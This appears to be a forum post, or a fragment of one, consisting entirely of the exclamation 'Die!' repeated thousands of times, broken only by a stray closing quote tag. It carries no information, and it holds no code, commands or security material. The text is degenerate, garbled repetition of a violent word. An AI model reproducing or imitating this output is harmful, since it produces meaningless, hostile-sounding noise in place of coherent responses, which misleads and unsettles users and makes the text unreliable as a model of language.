Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! [/QUOTE]
Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! 